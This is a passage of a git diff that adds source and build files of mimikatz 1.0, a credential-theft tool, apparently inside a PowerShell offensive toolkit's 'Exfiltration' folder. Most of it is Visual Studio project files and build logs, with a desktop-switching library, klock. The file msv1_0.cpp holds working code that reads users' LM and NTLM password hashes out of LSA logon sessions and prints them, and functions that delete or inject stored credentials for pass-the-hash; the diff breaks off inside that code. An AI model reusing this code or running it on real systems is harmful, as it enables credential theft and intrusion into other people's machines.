<IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>user32.lib</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>user32.lib</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\commun\kmodel.cpp" /> + <ClCompile Include="..\..\modules\mod_parseur.cpp" /> + <ClCompile Include="..\..\modules\mod_pipe.cpp" /> + <ClCompile Include="kelloworld.cpp" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\commun\kmodel.h" /> + <ClInclude Include="..\..\modules\mod_parseur.h" /> + <ClInclude Include="..\..\modules\mod_pipe.h" /> + <ClInclude Include="kelloworld.h" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="kelloworld.rc" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters new file mode 100644 index 0000000..4271331 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters @@ -0,0 +1,44 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="kelloworld.cpp" /> + <ClCompile Include="..\..\modules\mod_pipe.cpp"> + <Filter>Modules Communs\Communication</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_parseur.cpp"> + <Filter>Modules Communs\Parseur</Filter> + </ClCompile> + <ClCompile Include="..\..\commun\kmodel.cpp"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="kelloworld.h" /> + <ClInclude Include="..\..\modules\mod_pipe.h"> + <Filter>Modules Communs\Communication</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_parseur.h"> + <Filter>Modules Communs\Parseur</Filter> + </ClInclude> + <ClInclude Include="..\..\commun\kmodel.h"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <Filter Include="Modules Communs"> + <UniqueIdentifier>{78bbda7e-d41f-4f1c-8aab-9b9471b30a56}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Communication"> + <UniqueIdentifier>{314aff70-fe34-4afa-9341-0ad0a9a9a735}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Parseur"> + <UniqueIdentifier>{86a68fa7-1f11-48c7-9821-f5c8bf8b6724}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Librairie Modèle"> + <UniqueIdentifier>{7790e784-5bb7-405d-8bc7-0a3f5351245b}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="kelloworld.rc" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..bcd26b3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..73eaec6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..5cef6b9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest @@ -0,0 +1,10 @@ +<?xml version='1.0' encoding='UTF-8' standalone='yes'?> +<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level='asInvoker' uiAccess='false' /> + </requestedPrivileges> + </security> + </trustInfo> +</assembly> diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res Binary files differnew file mode 100644 index 0000000..3104953 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog new file mode 100644 index 0000000..3cfbe7b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\klock\klock.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..966e3ca --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..118ff20 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..ed695be --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog Binary files differnew file mode 100644 index 0000000..96b5f5a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog Binary files differnew file mode 100644 index 0000000..6e3ab6c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog Binary files differnew file mode 100644 index 0000000..df7edcc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..055dfdc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..ee2aaa1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..a07a6d6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp new file mode 100644 index 0000000..9717c49 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp @@ -0,0 +1,97 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "klock.h" + +__kextdll bool __cdecl getDescription(wstring * maDescription) +{ + maDescription->assign(L"kLock : librairie de manipulation des bureaux"); + return true; +} + +bool getNameOfDesktop(HDESK desktop, wstring &bureau) +{ + bool resultat = false; + + wchar_t * monBuffer; + DWORD tailleRequise = 0; + + if(!GetUserObjectInformation(desktop, UOI_NAME, NULL, 0, &tailleRequise) && (tailleRequise > 0)) + { + monBuffer = new wchar_t[tailleRequise]; + if(resultat = (GetUserObjectInformation(desktop, UOI_NAME, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + bureau.assign(monBuffer); + } + delete[] monBuffer; + } + return resultat; +} + +__kextdll bool __cdecl echange(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wstringstream maReponse; + wstring source, cible, monBureau; + bool modeFullAuto = true; + + if(mesArguments->size() == 2) + { + modeFullAuto = false; + source = mesArguments->front(); + cible = mesArguments->back(); + } + + if (HDESK hOriginalDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ | DESKTOP_SWITCHDESKTOP)) + { + if(getNameOfDesktop(hOriginalDesktop, monBureau)) + { + maReponse << L"Bureau courant : " << monBureau << endl; + + if((_wcsicmp(monBureau.c_str(), source.c_str()) == 0) || modeFullAuto) + { + if(modeFullAuto) + cible = _wcsicmp(monBureau.c_str(), L"Default") == 0 ? L"WinLogon" : L"Default"; + + maReponse << L"Bureau cible : " << cible << endl; + + if (HDESK hNewDesktop = OpenDesktop(cible.c_str(), 0, FALSE, DESKTOP_SWITCHDESKTOP)) + { + if (SwitchDesktop(hNewDesktop)) + maReponse << L"Switch du bureau réussi !"; + else + maReponse << L"Erreur : impossible de basculer le bureau ; SwitchDesktop : " << mod_system::getWinError(); + maReponse << endl; + CloseDesktop(hNewDesktop); + } + else maReponse << "Erreur : impossible d\'ouvrir le bureau cible (" << cible << L") ; OpenDesktop : " << mod_system::getWinError(); + } + else if(!modeFullAuto) + maReponse << L"Erreur : le bureau courant (" << monBureau << L") ne correspond pas au bureau source indiqué (" << source << L")" << endl; + } + else maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; + + CloseDesktop(hOriginalDesktop); + } + else maReponse << L"Erreur : impossible d\'ouvrir le bureau courant ; OpenInputDesktop : " << mod_system::getWinError() << endl; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wstringstream maReponse; + wstring monBureau; + + if (HDESK hDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ)) + { + if(getNameOfDesktop(hDesktop, monBureau)) + maReponse << L"Bureau courant : " << monBureau << endl; + else + maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; + + CloseDesktop(hDesktop); + } + return sendTo(monPipe, maReponse.str()); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h new file mode 100644 index 0000000..e6ea046 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h @@ -0,0 +1,14 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_system.h" + +__kextdll bool __cdecl getDescription(wstring * maDescription); + +bool getNameOfDesktop(HDESK desktop, wstring &bureau); +__kextdll bool __cdecl echange(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector<wstring> * mesArguments);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc Binary files differnew file mode 100644 index 0000000..28599d2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj new file mode 100644 index 0000000..a93a79d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj @@ -0,0 +1,131 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{6556249E-1C80-4047-A863-F608C8B8AC55}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>klock</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>user32.lib;shlwapi.lib;secur32.lib</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>user32.lib;shlwapi.lib;secur32.lib</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemGroup> + <ResourceCompile Include="klock.rc" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\commun\kmodel.cpp" /> + <ClCompile Include="..\..\modules\mod_parseur.cpp" /> + <ClCompile Include="..\..\modules\mod_pipe.cpp" /> + <ClCompile Include="..\..\modules\mod_system.cpp" /> + <ClCompile Include="klock.cpp" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\commun\kmodel.h" /> + <ClInclude Include="..\..\modules\mod_parseur.h" /> + <ClInclude Include="..\..\modules\mod_pipe.h" /> + <ClInclude Include="..\..\modules\mod_system.h" /> + <ClInclude Include="klock.h" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters new file mode 100644 index 0000000..cc5f342 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters @@ -0,0 +1,53 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Modules Communs"> + <UniqueIdentifier>{255a8a01-9f58-4a47-9d1e-1d5fc9f16419}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Communication"> + <UniqueIdentifier>{d6070dc8-7a9b-46c0-b75a-5fd6c10f8613}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Parseur"> + <UniqueIdentifier>{01639990-b135-46fe-8511-84761977c1bf}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Librairie Modèle"> + <UniqueIdentifier>{fa3fed71-2d05-4e39-a46b-59e9b2c83e04}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\System"> + <UniqueIdentifier>{e53f7390-cd26-41d0-9f10-ea350fc88e43}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\modules\mod_pipe.cpp"> + <Filter>Modules Communs\Communication</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_parseur.cpp"> + <Filter>Modules Communs\Parseur</Filter> + </ClCompile> + <ClCompile Include="..\..\commun\kmodel.cpp"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClCompile> + <ClCompile Include="klock.cpp" /> + <ClCompile Include="..\..\modules\mod_system.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\modules\mod_pipe.h"> + <Filter>Modules Communs\Communication</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_parseur.h"> + <Filter>Modules Communs\Parseur</Filter> + </ClInclude> + <ClInclude Include="..\..\commun\kmodel.h"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClInclude> + <ClInclude Include="klock.h" /> + <ClInclude Include="..\..\modules\mod_system.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="klock.rc" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp new file mode 100644 index 0000000..b429e5a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp @@ -0,0 +1,153 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" + +bool searchMSVFuncs() +{ + if(!MSV1_0_MspAuthenticationPackageId) + MSV1_0_MspAuthenticationPackageId = (mod_system::GLOB_Version.dwBuildNumber < 7000) ? 2 : 3; + return (searchLSAFuncs() && (MSV1_0_MspAuthenticationPackageId != 0)); +} + +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + unsigned short reservedSize = 0; + PMSV1_0_PRIMARY_CREDENTIAL kiwiCreds = NULL; + if(NT_SUCCESS(NlpGetPrimaryCredential(logId, &kiwiCreds, &reservedSize))) + { + wstring lmHash = mod_text::stringOfHex(kiwiCreds->LmOwfPassword, sizeof(kiwiCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(kiwiCreds->NtOwfPassword, sizeof(kiwiCreds->NtOwfPassword)); + + if(justSecurity) + maReponse << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + maReponse << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(kiwiCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(kiwiCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + SeckPkgFunctionTable->FreeLsaHeap(kiwiCreds); + } + else maReponse << L"n.t. (LUID KO)"; + } + else maReponse << L"n.a. (msv KO)"; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 1 && mesArguments->size() <= 2) + { + wstring idSecAppHigh = L"0"; + wstring idSecAppLow = mesArguments->front(); + if(mesArguments->size() > 1) + { + idSecAppHigh = mesArguments->front(); idSecAppLow = mesArguments->back(); + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + if(idApp.LowPart != 0 || idApp.HighPart != 0) + maReponse << (NT_SUCCESS(NlpDeletePrimaryCredential(&idApp)) ? L"Suppression des données de sécurité réussie :)" : L"Suppression des données de sécurité en échec :("); + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : delLogonSession [idSecAppHigh] idSecAppLow"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 4 && mesArguments->size() <= 6) + { + MSV1_0_PRIMARY_CREDENTIAL kiwicreds; + RtlZeroMemory(&kiwicreds, sizeof(MSV1_0_PRIMARY_CREDENTIAL)); + + wstring idSecAppHigh = L"0", idSecAppLow, userName, domainName, lmHash, ntlmHash = mesArguments->back(); + kiwicreds.LmPasswordPresent = FALSE; + kiwicreds.NtPasswordPresent = TRUE; + + switch(mesArguments->size()) // méchants arguments utilisateurs + { + case 4: + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + break; + case 6: + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + 